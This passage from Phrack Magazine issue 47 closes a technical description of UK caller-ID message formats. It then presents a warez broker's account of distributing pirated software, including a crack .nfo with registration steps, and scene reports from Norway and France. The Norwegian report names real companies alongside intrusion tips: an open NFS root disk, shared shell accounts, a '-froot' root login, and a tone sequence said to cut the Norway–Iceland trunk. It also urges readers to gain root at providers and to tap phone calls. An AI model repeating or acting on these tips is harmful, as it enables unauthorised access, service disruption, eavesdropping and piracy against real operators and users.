P "Name Withheld"; Caller has withheld delivery of name

O "Name Unavailable"; The name is not available

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Reason for Absence of Name type | | | parameter (00001000) | | 2 | Parameter length (1) |

| 3 | Reason |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Network Message System Status Parameter

The value of the Network Message System Status parameter is a binary encoded value indicating the number of messages waiting in the message system. 0 means no messages, 1 means one or an unspecified number, other values, up to 255, indicate that number of messages waiting.

This parameter is not necessarily associated with a normal phone call, and will probably be sent as a no ring call.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Byte Number | Contents |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | Network System Message Status | | | Parameter (00010011) | | 2 | Parameter length (1) | | 3 | Network System Message Status |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unless a Call Type parameter is also set, then any time parameter sent with the Network System Status parameter will indicate current clock time. This is to enable the terminal equipment to assume the time is current time and to set it's internal clock where no Call Type parameter is sent.

(4) Message Length

The longest CLIP message, excluding datalink layer information is currently 64 bytes. This length is expected for call types "Voice", "Ring‑back‑whenfree", "Message Waiting". In future there may be additional parameters that could extend message length, these will be sent after the parameters Call Type, caller number, name/text, reason for absence of name or number, and Network Message System Status.

(5)Fig 5. Received Characteristics of V.23 Signals

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Modulation | FSK |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Mark (Logic 1) | 1300 Hz +/‑ 1.5% |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Space (Logic 0) | 2100 Hz +/‑ 1.5% |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Received signal level | ‑8dBV to ‑40dBV |

| for mark |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Received signal level | ‑8dBV to ‑40dBV |

| for space |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Signal level | The received signal levels may |

| differential | differ by up to 6 dB |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Unwanted signals | Total power of extraneous |

| | signals in the voice band is at|

| | least 20dB below the signal |

| | levels |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| AC & DC load impedance | AC load impedance is Zss (see |

| | below) |

| | DC load impedance has been de‑ |

| | scribed above. |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Transmission rate | 1200 baud +/‑ 1% |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Data format | Serial binary asynchronous (1 |

| | start bit first, then 8 data |

| | bits with least significant |

| | bit first, followed by 1 stop |

| | bit minimum, up to 10 stop bits|

| | maximum. Star bit 0, stop bit 0|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(6)Fig 6. Zss

Zss: a complex impedance nominally represented by the following network;

139 nF

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

‑‑‑‑‑‑ ‑‑‑‑‑‑‑

| | | | ‑

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | |

O‑‑‑‑‑ ‑‑‑‑‑‑‑‑ O

| | |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | ‑

| | | | 827 Ohms

‑‑‑‑‑‑ ‑‑‑‑‑‑‑

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1386 Ohms

(7)Fig 7. BT IA5 alpha‑numeric character set

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| B | b7 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| I | | | | | | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| T | b6 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| S | | | | | | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | b5 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| BITS | | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |

|b b b b | | | | | | | |

|4 3 2 1 | | | | | | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 0 0 0 | 0 |NUL |TC7 |SP | 0 | @ | P | ` | p |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 0 0 1 | 1 |TC1 |DC1 | ! | 1 | A | Q | a | q |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 0 1 0 | 2 |TC2 |DC2 | " | 2 | B | R | b | r |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 0 1 1 | 3 |TC3 |DC3 | # | 3 | C | S | c | s |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 1 0 0 | 4 |TC4 |DC4 | | 4 | D | T | d | t |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 1 0 1 | 5 |TC5 |TC8 | % | 5 | E | U | e | u |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 1 1 0 | 6 |TC6 |TC9 | & | 6 | F | V | f | v |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|0 1 1 1 | 7 |BEL |TC10| ' | 7 | G | W | g | w |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 0 0 0 | 8 |FE0 |CAN | ( | 8 | H | X | h | x |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 0 0 1 | 9 |FE1 |EM | ) | 9 | I | Y | i | y |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 0 1 0 | 10 |FE2 |SUB | * | : | J | Z | j | z |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 0 1 1 | 11 |FE3 |ESC | + | ; | K | [ | k | { |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 1 0 0 | 12 |FE4 |IS4 | , | < | L | \ | l | | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 1 0 1 | 13 |FE5 |IS3 | ‑ | = | M | ] | m | } |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 1 1 0 | 14 |SO |IS2 | . | > | N | ^ | n | ~ |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 1 1 1 | 15 |SI |IS1 | / | ? | O | _ | o |DEL |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where;

BEL = Bell

CAN = Cancel

DC = Device Control

EM = End of Medium

ESC = Escape

FE = Format Effectors

IS = Information Separator

NUL = Null

SI = Shift In

SO = Shift Out

SP = Space

SUB = Substitute Character

TC = Transmission Control

Conclusion:

My head hurts, I've been in front of this screen for eight hours, I started this because I was chucked out of the cinema for being drunk and disorderly and I'd nothing else to do, I've got through 2 packs of Marlboros, 1 bottle mad dog and a stack of telco manuals. Most of this has been lifted wholesale from those manuals (in the great tradition of all p/h g‑philes). I'm currently working on a round up of ISDN2 and ISDN30, a glossary for European phone phreaks (almost ready), and a technical description of British and Irish cellular communication systems. If anybody has any info to share on any of these things, or any questions they'd like answered (stick to the subject though, I don't know who killed Kennedy, #8^)), then get in touch with me at

A Day in The Life of a Warez Broker

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 20 of 22

A Day In The Life Of A Warez Broker

Xxxx Xxxxxxxx

414 ‑ Area Code

I am a warez broker. Why, you might ask. Well because I take warez from one BBS to another and make credits along the way. In case you're not familiar with the term, "Warez" or "ELiTE", let me fill you in.

Warez ‑ are files that are protected by the US Government via copyright laws, and are not allowed to be used unless purchased. This would include most programs you can buy at your local Best Buy, CompUSA, or EggHead Software. They are files that you should _not_, and I repeat _not_ give to a friend, even if it is for a backup copy in case your house burns down, and his doesn't.

Alias: Warezzzzzzz, PHiLES, Wares, The Motts (just kidding)

ELiTE ‑ is a status. Above the rest, or in this case, below the rest. You are ELiTE if you transfer large amounts of files over some distance, whether it's with a disk, or phone line, ISDN line, or Internet. Who cares what the medium, you just must transfer more than one program. No little kiddie, since you are 13 and you got a friend to give you a copy of DOS 5.0 and Windows 3.0, you are not ELiTE, and Super Nintendo cartridges don't count!

Alias: 3l33t, PRiVaTe.

How do you become ELiTE? YOU DON'T! You are asked. I am so sick of people hopping on perfectly legit boards asking for ELiTE. It is such a pain in the ass! You aren't going to get ELiTE if you ask for it on an ELiTE board.

But enough of a little background. For those of you that are still a little cloudy as to what exactly ELiTE is, why don't you go read the next section of Phrack. Let's move on......

A day in the life of a Warez Broker is very interesting. And can be very exciting. Most things are time dependent. Being as credits are the exchange for being the first uploader, it is important to get the files first, clean them up first, and upload them first.

I do not belong to a Group. There are many out there, but I have not joined any as being public is the best way to get caught. Instead, myself and a bunch of some very loyal friends all funnel their Warez through me. Since I am one of the only ones with a real job (8‑5), I spend many evenings and nights uploading filez that my friends have made available for me on my private BBS.

It didn't start like that though. It started as a competition between my friends. At some point they were no longer excited with getting the new Warez, and I seemed to have the most time. Now we all talk back and forth often, and we all have our purposes:

(names have been changed to protect the defendants)

>The Cringer ‑ He takes the files off the internet. Actually both The Cringer and I take them off the Internet, but he seems to always come up with the lists of site to go to. And they normally are REALLY good. >Raxstallion ‑ He tests all the games. For some reason he is really good at games, and can always find the bugs so we can give an honest report on the game. I think he's so good because he doesn't work and never goes to class (just look at his check book and report card) >Captian of The Ship ‑ He just whines about how he never gets any women, and he also sez "Cool game Raxstallion" a lot.

>Dirt Sleasel ‑ He gets us some technical background. >Myself ‑ I take care of all the uploading/downloading of files. If one of my boys need a new program, I get it. If they get a new file, they forward it to me so I can upload it.

Now most days are as simple as just checking all the local boards and making sure their aren't any new files to move around. If there are new files, I download them, then turn around and upload them somewhere else. Since most of the boards in my A/C are WWIV, they all have 3:1 upload ratios. Which means that for every meg of files I upload, I get to download 3 meg. It's kinda nice, because as I move files from one BBS to another, I am making credits. I haven't been doing this long, but for the length of time I have, I now have enough credits where I don't have to worry about too many files. Normally now‑a‑days I will upload big programs like Windows NT, or Windows 95 releases.

Like I said before, we do a lot of internet stuff. If The Cringer gets a new program, he will upload it to my board, then I take it from there. Some nites I am up late on the internet myself, but normally I do mass uploads before I hit the sack. Sometimes, if it's a hot file, I will upload the program , and get up late to upload to another board.

Since the file transferring is such a big part of my life, I have a second phone line. Maybe this isn't a big deal for someone in a major city, but in my A/C it is. Many people don't have 2 phone lines in their house unless they have a fax machine, but in the age of communications, it seems as though I sometimes need 3 phone lines. When someone is uploading, and I need to get on the modem it's a pain in the ass.

There are quite a few extra files inside of the zip files that are used to compress the disks that a program is distributed on. A pretty popular file is the FILE_ID.DIZ file. This file contains the description of the compressed file. It is nice to include these files since many people don't type in a decent description on the description line.

‑‑‑‑ Example file_id.diz files (names changed to protect the defendants)

Media Shop v1.0

This is a 650$ program.

You can make the best animation

for Windows with this.

Disk 1 of 5

‑‑‑‑ X X X x '95 ‑‑‑‑

‑‑‑‑ The Xxxxxx Xxxxx ‑‑‑‑

‑‑‑‑ End of Example of *.nfo file

You can see how in this example. The name of the file is there and it also let's you know the total number of disks which helps you make sure you sis get all the downloads needed. These file_id.diz files can normally be viewed on a bbs, for example, these are the default "extended descriptions" for WWIV BBS's.

The other files normally included are .NFO files. Normally named by group, these files advertise for a crack house, or a distribution house.

‑‑‑‑ Example *.nfo files (names changed to protect the defendants)

Ä¿

Íµ Xxxxxx Xxxxxxx of Xxxxxxx Presents

Í¿

Date: Oct 09, 93

Í¿

Software: Sourcer 5.10 *REGISTERED 100%*

Ä´

Publisher: ????

Ä´

Member: SoNiC (R) ‑AV

Ä¿

Sorry... but now it's really REGISTERED...

1st. Entpack the original SOURCER‑Files

2rd. Run SR510UTG.COM

3nd. Run SR.EXE and enter the following serno: XXXXXXX‑XXXX

Ä¿

‑=* Xxxxxx Xxxxxxx of Xxxxxxx *=‑

Ä´

Members: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

xxxxxxxxxxxxxxxxx

Ä´

Courier: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Ä´

xxxxxxxxxxxxx ...‑...‑.... Xxx Xxxxxx 6 Nodes World HQ xxxxxxxxxxxxx ...‑...‑.... Xxx Xxxxxxxx 9 Nodes Europe HQ xxxxxxxxxxx ...‑...‑.... Xxx Xxxxxxx 2 Nodes West HQ xxxxxxxxxxxxxx ...‑...‑.... Xxxx Xxxxx 3 Nodes East HQ xxxxxxxxxxxxxxxxxxxxx ...‑...‑.... Xxxxx 3 Nodes Dist Site xxxxxxxxxxxx ...‑...‑.... Xxxxxxxx 4 Nodes Dist Site xxxxxxxxxxxxxx 818‑xxx‑xxxx Xxxxxxxxx 1 Node Dist Site Ä´

If you want to contact us call one of these fine BBS and leave a mail to The Xxxxxxxx or Xxxxxxxxxx

‑‑‑‑ End of Example of *.nfo file

You can see in this example how they not only name their members, but also the couriers. These couriers make sure that the crack house's files get distributed. The members help crack and get the files ready for the couriers.

For example, let's say there is a group called Slimers, they might include a .NFO called SLIMERS.NFO. Sometimes these files give you a little insight on the group, but most times they say "Hi" to the people in their groups, and sometimes even a little about the group. Normally they include x'ed out phone numbers to the group's BBS.

How do these files get out there? Well I have many theories. One is that someone buys the stuff and then uploads them to the group. We sometimes buy the programs, if they aren't out there, and then copy them and re‑shrinkwrap the file before returning the whole program. Sometimes, even the makers of the games leak the program before it is released. This is what seems to have happened with Doom II.

Most boards these days are running at 28.8Kbps. There are still a few running 14.4Kbps lines to give those that have a slower modem a place to call in without having to tie up the faster lines. I'm sure with the onslaught of CDROM's becoming more popular in the program world, the amount of warez piracy will diminish for a while. But some day I'm sure that there will be a new way to get a hold of the new programs.

As soon as the price of CDROM‑R (worm) drives come down, there will be more transfer of total CD programs. I guess that the 600 meg files will take a little longer to transfer. I think someone should redesign their board so that a person may download a large file, or at least part of a large file, so they can use their time online to download parts of the CDROM. We'll see, that talk is just starting to begin.

The ELiTE Community is very secretive, and very secure. No one is let in, and once you're in, you're not expected to leave. There is a lot of trust built in The Community. The only way to get into The ELiTE Community is to know someone who is willing to vouch for you. Without someone to speak of your credibility, you will get no where. Once you are in and have established yourself, you can pretty much speak for yourself, or get a sysop to refer you.

The nice thing about being in the ELiTE Community is you never really get to meet anyone in person. Heck, you might never even talk to a person in voice. Things are so secretive, a lot of times you don't even know where you are calling. If you do meet someone, though, normally people are so generous to their own. It's like a close family. It's nice to have that kind of closeness. You have students, programmers, computer hobbyists, newbies, kiddies, those with bedtimes, those that never go to bed, and still those that sit back and just take it all in.

I have many friend that have an idea of what I do, but I will rarely refer a friend, even if I know they're cool. It's not a good idea for everyone to know. Whether I can trust a friend or not, I don't think it's a good idea to get them involved. Things are dangerous, and you are better off looking for what they want, and uploading what they give you.

Hopefully in my next article I can give you some specifics regarding getting filez from the internet, or how to get in touch with the ELiTE Community in your A/C. Until then, remember, there are more ELiTE boards than there are not. For those boards that are not ELiTE, thanks for the distraction from the ELiTE boards, and sorry for all the heat!

Secretly yours,

International Scenes

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 21 of 22

****************************************

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. If you want to contribute a file about the hacking scene in your country, please send it to us at phrack@well.com.

This month we have files about the scenes in Norway, France, Italy and an update from Denmark.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

dfp‑1 An orientation on the Norwegian hacking/phreaking scene dfp‑1

Written by the Digital Freedom Phanatic (dfp@powertech.no) Brought to you in January, 1995

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

PROLOGUE: It's 1995 and little has been mentioned about Norwegian hackers in the media lately. I thought this would be a nice opportunity to summarize some of the things that have happened on the scene in Norway during the last 5 or so years. For those of you in the Norwegian audience not recognizing my name; you shouldn't. I am more or less an acquaintance of many of you guys, but I feel that in order to get something done on the Norwegian scene right now (it's been fairly quiet for a while, nicht wahr?) I cannot reveal my true identity. Hell, let's see if I get any responses to this article. Now for the good stuff...

Unfortunately I entered the scene as late as around 1990, so I'm not quite up‑to‑date on stuff that happened before that. I've been trying to gather old articles from newspapers and books. What I have been able to come up with is more or less some articles about a couple of hackers who managed to get into a local newspaper's computer. Also, I have gotten in touch with some of the _real old Norwegian hackers_ dating back to the '70s. Needless to say, those people today work in the telecommunications industry.

AREAS OF INTEREST FOR HACKERS: First, a little introduction to Norway. We are a very, very rich country, mainly due to the enormous amount of oil resources which we are pumping from the North Sea. As a result of this wealth (I guess), our people are well educated and we have a blooming industry. Well, in some cases. Nevermind. Keywords: large corporations, very large and respected telecommunications semi‑monopoly, expensive communications.

So in theory, there should be a lot of corporate hacking taking place in Norway. Well, either the people doing this are doing it real well, or nobody is doing it. I don't think anybody is. As I have come to understand, most hacking in Norway has really been Internet related. Norway was actually one of the first countries apart from USA getting connected to the Internet; way back in 1982.

STATUS OF INTERNET CONNECTIVITY: The universities have been hooked up since the dawn of time, and today these are the centers of the Internet community and high‑speed telecom equipment in general use in Norway. Actually, we have four universities and at least three of them are currently networked with each other at a speed of 34Mbps. The university network's (Uninett) international Internet connection is through NORDUnet and has a bandwidth of 2Mbps. Until a couple of years ago, one could not gain legitimate access to the Internet except by obtaining an account on one of the Uninett connected machines. This was impossible, at least for a majority of the hacker community, so Uninett, or rather the computers at the University of Oslo, became a Mecca for the scene. The big people had accounts there, or borrowed one. However, security is pretty stiff there and I fear that there was little actual _hacking_ going on, people were merely borrowing legitimate accounts through friends.

What's fun about the University of Oslo computer network is that it until recently could be used for dialling out with speeds up to 14.4kbps. Actually, some of their dialup terminal servers were configured to let you connect into them and dial out. Try CONNECT USEk.15 after logging in to Net/ONE (the University LAN). I don't think this works anymore, nor do I know if this was a "feature" introduced when the terminal servers were installed. It could be that some hacker reconfigured them. In that case, please let me know! Dialled 820s as well (The 900 numbers of Norway).

Today the Internet situation is very different. We have had an extravagant boost in the number of Internet access providers lately: Oslonett, PowerTech, EUnet, Vestnett, BigBlue, MoNet, NordNet and PMDData are those I can think of right now. Also, a number of companies are providing leased‑line access: TelePost, EUnet and Datametrix. PowerTech is starting to do this soon now (they say), presumably with competitive prices, but they are real bad on bandwidth. (Well, they've been the cheapest for me so far.) At least we're not far from getting Internet trial accounts shovelled up our asses here. Let's hope some souls will soon pour some actual value into the net; more information, more services. I've seen little of that.

Until we get more Norwegian fun services on the Net, we might as well exploit the services of Norwegian companies with no clue whatsoever when it comes to security. Take, for instance, Cinet AS (cinet.no) which has a world NFS mountable root disk (rw). BigBlue Systems AS (bigblue.no) uses a Linux server which you can log to using accounts named node1, node2 or node3. Full shell user access. Or you could try logging in as "‑froot" to obtain root access. Hm, I think they plugged that. :) Well, ach so. There's more out there. Just get hacking. And feel free to tell me what you find!

WHAT WERE THE HACKERS DOING: There used to be a blooming hacking scene in Norway earlier. Well, one might not say blooming with bright ideas and happenings, but at least there were many people doing the right stuff. Using X.25 NUIs to get to QSD, Password spoofing at the local DataPak PAD using Pad2Pad, Social Engineering, Hacking calling cards to get to the states, finding AT&T Alliance backdoors so as to keep people up all night long when there was school the day after.. The good old days. We could even do easy blueboxing. 1980s‑1992.

I must admit, though, that QSD isn't much anymore. I liked it better when there were a hundred people logged in simultaneously, and when there were alliances being held with people from the States, Norway, Denmark, Israel, all over the place. Then came the busts. It was around October 1992 when the first busts started taking place. We have a very interesting timeline there. First, the police teamed up with a couple of computer software retailers (BJ Electronics, sounds familiar huh?) and busted ten or so of the warez type board sysops. People to remember: Gizmo, Enemy :‑).

Soon after that, bigger names were taken down. Mario, Graham Two (Vishnu), Edison, RamJet, Peter, Leikarnes etc. Kevin was never busted. I wonder who he was. These guys were taken for more serious stuff like carding, datapak (x.25), AT&T Alliance conferences, boxing, and general abuse of the telephone system. A couple of shorter raid periods followed in 1993, and the scene was pretty much dead ‑ except for the k‑rad warez kids.

AT&T and the other big guys we used to bluebox off of have all gone for CCIS/CCITT #7 so there is little to be done boxing in Norway now. Well, as a matter of fact I haven't checked that out lately. An interesting thing, though, is that you can temporarily disconnect the complete international trunk set between Norway and Iceland by breaking (24+26 250ms 26 100ms) on the Iceland Direct line. Everybody trying to _legitimately_ dial an Icelandic number from Norway for a while after that just gets a busy signal. Ha ha. Poor man's fun. Wish I could do that with the States... :)

WHAT'S AHEAD FOR THE NORWEGIAN SCENE: I think we should get organized. I have a few projects in mind. There are a lot of security flaws and weaknesses yet to be discovered in Norwegian systems and services. We need to get all of Norway scanned for automated answering services and carriers. We need to get into some Central Offices to check out the labels on the modems connected to their Ericsson boxes. We need to get trashing. We need to start talking hacking and phreaking at The Gathering. We need to find data numbers for C.O.s, banks, corporate computers, the local McDonalds', we need to get root access at an Internet provider and we need to be able to listen in to phone conversations. We will. Get in touch with me if you'd like to join.

These were just a couple of thoughts of mine that I wanted to share with you fellow hackers out there. Hope you've enjoyed them. And for heaven's sake, feel free to give me some feedback (via internet: dfp@powertech.no).

FUN FACTS: Many companies have unconfigured PBXes that you can obtain outside dialtone on. There is no flat rate telephony. A 28k8 modem goes for a little less than $400. All phone calls are logged, logs are erased after a couple of months (presumably). Only ISDN customers can get Caller ID. There are three cellular operator companies. All the Norway Direct operators are situated in Kongens gate 21, OSLO, Norway. The NMT‑900 Cellular network doesn't allow calls to Pakistan. All Norwegian babes are young, slim and blonde...not :)

I'll be releasing a couple of files on Norwegian hacking/phreaking areas and techniques in the months to come. Here's a list of those I am planning, haven't written anything yet but I think I will. If there's anything in particular you'd like to add or to get hurried up, or if you have information which should be included in these files, then get in touch with me.

(*) COCOTs and Monopoly operated Pay Phones in Norway

(*) MBBS, the Norwegian BBS System; Backdoors and Security (*) Norwegian Telecom; TeleNor. Organization and computer systems. (*) The Norwegian State Libraries; BibSys network security (*) Telephone Monopoly; current status, what will happen, when?

Sincerely Yours,

Digital Freedom Phanatic

Yola's to (unsorted, people I know or would like to know): Gizmo, Enemy, Mario, Graham Two (Vishnu), Edison, Roger RamJet, Peter, Gekko, Ozelot, Sicko, Flesaker, Karstad, Arild Leikarnes, Frode1 og Frode2 :‑), The Dealer, Saron, Digital Phanatic, SCSI (BayernPower!), SevenUp (damiano?), UrbanMatrix, OnkelD. Where ARE you guys hiding? ;‑)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>‑=‑=‑=‑=‑=‑<

<French Scene>

>‑=‑=‑=‑=‑=‑<

By NeurAlien

The French scene has always been portrayed as weak by both French and foreign people. There's a paradox here: France was one of the first countries to develop a modern network (in 1981) YET there have been few _good hackers_. How is that explained? I DUNNO !

In fact, stating that France is underdeveloped at a hacker level is partly false. In France, hackers have always been isolated or hidden in little isolated groups. Whenever a good group formed, everyone was quickly busted by DST (the agency in charge of computer fraud). Moreover, this agency (DST) is somewhat effective and hacking has been illegal here since 1988. The risks when you are caught are VERY HEAVY and the trial lasts forever! Usually, it takes 3 years to go to trial and the material is ALWAYS seized even if you're not charged with anything!.

The Videotex initiative that provided France such a breakthrough in technology is now an handicap because it can't follow the evolution of modems and isn't well adapted for networking with the Internet.

I‑ The Videotex aka Minitel

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Minitel has been developed in 1981 by France Telecom. It was excellent at the time but it hasn't evolved very much. Let's see what hacking has been like in the Minitel world.

To explain a little what "Minitel hacking" was, I must detail

a little how Teletel (the network that supports Minitel) works. Teletel is based on X25 and provides multiple price levels:

Teletel 0 (T0) is free for the user, costs a lot for the server. Teletel 1 (T1) costs a local call to the user, the price of the X25 collect connection to the server.

Teletel 2 (T2) costs the price of a local call + X25 communication (6+ cents per minute) to the user.)

Teletel 3 (T3) costs T2 + a charge that is reversed to the server (costs 20 cents to $1 per minute to the user.)

A lot of servers are accessible only in T3 for the users.

The principle of hacking Teletel was to find a the X25 number corresponding to the T3 CODE in order to log on the T3 server from T2 level. Eventually, there could be a password on the T2 access.

Actually, it's very basic and very dumb hacking since you can only do some scanning to find the x25 number of the servers.

T1 was used for more professional type servers and the hackers that used to hack T1 were better than T2 hackers.

T2 K0d3z were very popular among wannabe hackers, some Special Interest Groups about T2 were formed on a lot of servers and there was even a server dedicated to T2 codes. The quality of information has always been extremely low in this kind of club. Moreover, the kind of k0dez kidz on these SIGs and servers were particularly dumb (sorry for them). It got really bad in 1991 when a lot of T2 guys started to flame each other, accusing them of leeching some T2 codes from one server and posting them to another, saying that the other guys were ripping everyone off etc... It may be continuing now but I'm totally uninterested by these people so I completely left this scene.

The "good ones" of the T2 K0d3z k1dz stopped T2 (it's not free so it's too expensive!). They usually started to Hack T0 which is totally free. (it's like a 1‑800 for Teletel). The servers of T0 are nearly all of the "restricted access" kind. But they have weak protection schemes and can be easily bypassed with some experience. The hackers of T0 servers don't usually know each other and some of them may form a kind of little "islands". (I'm calling them "islands" because it is always placed in an Information System on T0, deep within the system. There are perhaps 10 or so "islands" that have no connection with other hackers. A typical "island" consists of 5 to 10 hackers. Some hackers may go on 2 or more "islands" but prefer to keep the presence of both "islands" secret. Why? In order not to destroy both if one of them is found and shut down!

One reason most never heard of these person is that there is nearly no connection between the Teletel world and the Internet. The only way to escape to Internet and Intl X25 is Teletel 1 (T1).

II‑ When Teletel goes professional

